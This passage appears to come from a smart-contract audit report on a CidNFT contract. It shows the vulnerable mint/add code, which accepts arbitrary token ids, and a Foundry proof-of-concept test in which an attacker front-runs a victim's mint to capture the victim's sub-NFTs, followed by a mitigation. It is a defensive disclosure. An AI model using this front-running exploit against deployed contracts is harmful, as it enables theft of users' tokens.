function mint(bytes[] calldata _addList) external {
    _mint(msg.sender, ++numMinted); 
    bytes4 addSelector = this.add.selector;
    for (uint256 i = 0; i < _addList.length; ++i) {
        (bool success /*bytes memory result*/, ) = address(this)
            .delegatecall(abi.encodePacked(addSelector, _addList[i]));
        if (!success) revert AddCallAfterMintingFailed(i);
    }
}
function add(
        uint256 _cidNFTID, // No guarantee that this is the CidNFT id that was just minted by the user
        string calldata _subprotocolName,
        uint256 _key,
        uint256 _nftIDToAdd,
        AssociationType _type
    ) external {
    ...............
    if (
        cidNFTOwner != msg.sender &&
        getApproved[_cidNFTID] != msg.sender &&
        !isApprovedForAll[cidNFTOwner][msg.sender]
    ) revert NotAuthorizedForCIDNFT(msg.sender, _cidNFTID, cidNFTOwner);
    ...............
}
function testMaliciousMint() public {
    uint256 cidTokenId = cidNFT.numMinted() + 1;
    (uint256 subTokenId1, uint256 subTokenId2) = (1, 2);
    (uint256 key1, uint256 key2) = (1, 2);

    // user1 == attacker
    // user2 == victim
    // Frontrun the victim's mint by minting the cidNFT token they expect before them
    vm.startPrank(user1);
    cidNFT.mint(new bytes[](0));

    // Set the victim (user2) as approved for the token user1 just minted
    cidNFT.setApprovalForAll(user2, true);
    vm.stopPrank();

    // Mint user2 the subtokens that user1 wants to steal, approve the CidNFT contract
    // for the subtokens, and prepare the addlist with the incorrect cidNFT token id
    vm.startPrank(user2);
    sub1.mint(user2, subTokenId1);
    sub1.mint(user2, subTokenId2);
    sub1.setApprovalForAll(address(cidNFT), true);

    bytes[] memory addList = new bytes[](2);
    addList[0] = abi.encode(
        cidTokenId,
        "sub1",
        key1,
        subTokenId1,
        CidNFT.AssociationType.ORDERED
    );
    addList[1] = abi.encode(
        cidTokenId,
        "sub1",
        key2,
        subTokenId2,
        CidNFT.AssociationType.ORDERED
    );

    // Mint user2 a new CidNFT and attach the subtokens to user1's CidNFT
    cidNFT.mint(addList);
    vm.stopPrank();

    // Confirm that user1's CidNFT has the subtokens and can transfer them out
    vm.startPrank(user1);
    cidNFT.remove(
        cidTokenId,
        "sub1",
        key1,
        subTokenId1,
        CidNFT.AssociationType.ORDERED
    );
    cidNFT.remove(
        cidTokenId,
        "sub1",
        key2,
        subTokenId2,
        CidNFT.AssociationType.ORDERED
    );
    vm.stopPrank();

    // Confirm that user1 now holds the subtokens
    assertEq(cidNFT.ownerOf(cidTokenId), user1);
    assertEq(cidNFT.ownerOf(cidTokenId + 1), user2);
    assertEq(sub1.ownerOf(subTokenId1), user1);
    assertEq(sub1.ownerOf(subTokenId2), user1);
}
## Tools Used
Manual review

## Recommended Mitigation Steps
- Enforce that the user can only `add()` to the CidNFT that they just minted rather than allowing for arbitrary IDs
